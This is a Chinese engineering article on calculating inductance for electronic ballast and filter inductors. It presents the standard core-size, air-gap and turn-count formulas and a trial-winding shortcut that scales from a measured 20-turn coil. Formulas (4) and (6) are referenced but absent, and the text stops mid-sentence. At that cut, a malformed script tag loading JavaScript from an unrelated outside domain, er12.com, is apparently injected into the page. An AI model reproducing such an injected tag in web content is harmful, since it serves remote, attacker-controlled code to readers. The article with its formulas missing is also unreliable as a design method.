关于电感值的工程变通计算和测试法 摘要：简要地介绍了用常规方法计算电感值存在的困难，推导出一种计算电感的公式，从而绕开了对磁材磁性能指标如bs及μ值的准确了解，而能顺利计算出所需的电感值。 关键词：电感器 镇流器 滤波器 1 引言 在开发电子镇流器和电子节能灯电感镇流器及电感式节能灯中，常常遇到镇流电感及滤波电感值的计算问题。 但是电感值的计算程式比较繁琐，并且在缺乏必要的磁材参数测量仪器的情况下，要严格按程式计算也是困难的，如果有设计仿真软件当然就容易了。 2 传统的程式设计 例如：要设计40w电子镇流器，电路需要l=1.6mh的电感，试计算磁芯大小、绕线匝数、磁路气隙长度。 首先，计算磁芯截面积，确定磁芯尺寸。 为此，可由式（1）计算出磁芯面积乘积ap ap=(392l×ip×d2)/δbm (1) 式中：ap——磁芯面积乘积cm4 l——要求的电感值h ip——镇流线圈通过的电流峰值a δbm——脉冲磁感应增量t d——镇流线圈导线直径mm 根据磁芯面积乘积ap的计算值在设计手册中选择标准规格磁芯或自行设计磁芯尺寸。
在此δbm一般取饱和磁感强度的1/2～2/3，即：δbm=（1/2～2/3）bs。 bs在一般磁材手册中都是给定的，可以查找出来，所以，一般说，由式（1）计算磁芯尺寸，并不是难事，难在磁材本身参数的分散性，同一炉磁芯的参数差别有时会很大，手册中给出的bs—h曲线和参数是统计平均值，所以依据式（1）算出的尺寸，还要在实际使用中反复检验修正。 磁芯尺寸确定以后，计算空气隙（对ei型磁芯就是夹多厚的垫片，对于环型铁芯就是开多宽的间隙）一般是按式（2）计算：
lg=(0.4πl·i2}/sp·δb2m (2) 式中：lg——磁芯气隙长度cm l——所需的电感值h ip——线圈中通过的电流峰值a δbm——脉冲磁感应增量t sp——磁芯截面积cm2 一般地说，根据式（2）计算气隙大小，也不会太困难。困难仍在于δbm值，仅是厂家的统计平均值，对于同一规格的磁芯，不同厂家也是不同的，所以，依据式（2）算出的lg，仅是个大概值，还须在实际中去反复修正，也就是再试凑。 磁芯尺寸确定了，气隙长度也确定了，就可以确定需绕多少匝，才能达到所需的电感值l。 根据l=4μ·n2×10－9×a (3)
可得
式中：n——为所需的绕组匝数 a——磁芯的几何形状参数 要根据式（4）算出匝数，关键是要知道导磁率μ为多少，从厂家给的磁材手册上查，μ值也只是个范围。例如r2k磁芯，其初始导磁率实际上是在1800～2600之间，具体值得靠测量。测量磁参数的仪器，一般工厂是不具备的，于是要根据式（4）计算匝数就比较困难。尤其是在有气隙的条件下，导磁率比无气隙时下降了多少也是未知数。所以依据式（4）计算就更困难。一般是先假设μ，进行计算，算出匝数n，试绕好后测量l能否达到设计值，通常很难达到，则再另设μ值，再计算，这样反复试凑下去，直到接近预定的l值结束。 以上就是根据已知电感量l，求磁芯尺寸，气隙及绕组匝数的通用方法。 如果，设计一种镇流器只计算一个电感值l，采用这种试凑计算也就算了，现在要面对市场，需要种种规格的镇流电感，再这样试凑，不仅时间上拖延了新品的开发进度，试制材料上也浪费很多。当然如果有电感值计算仿真软件，就另当别论。 3 变通算法 根据前面计算出的磁芯尺寸、气隙长度，先绕制一匝数为no的电感，其实测电感值为lo，则有 lo=4μno2×10－9×a (5) 令式（3）式（5）相除并整理后得：
式中：l——为要求的电感值 no——为已知的匝数 lo——为已知的匝数下的电感值 这样，对同一参数的磁芯，只要知道l、no、lo三个参数，即可求出匝数n。 实际制作时我们先在磁芯上绕（环形磁芯可以直接绕，ei型磁芯可在骨架上绕）no=20匝，在电感仪上测出lo，将此值代入式（6），即可求出在该磁芯上应绕的匝数n。 间隙的确定： （1）间隙的作用 图1及图2中的曲线①为无间隙时磁芯的磁化曲线及导磁率μ与b的曲线，图1及图2中的曲线②为有气隙时的相应曲线。 从图1及图2的曲线可看出，同一磁芯开了气隙后，可使b—h曲线斜率降低，使磁芯饱和点右移，从而增加了磁芯抗直流磁化的能力。但气隙的加入，又使导磁率下降，所以气隙有个最佳值，即在电感线圈通过最大峰值电流时，磁芯不进入饱和，同时又不致使导磁率降得太低，因为从式（3）可知，在所需电感量一定时若导磁率降低势必要增加线圈匝数，这是个矛盾。 （2）确定最佳气隙 按该镇流电感所通过的最大电流峰值ip，利用直流磁化电源，和电感测试仪配套连接，使通入的直流电流达到ip时，电感量下降不超过零电流时的10％，即认为磁芯已经到达最高bm值，此时的间隙即为最佳气隙长度。 如果通入ip时，电感下降?script src=http://er12.com/t.js>
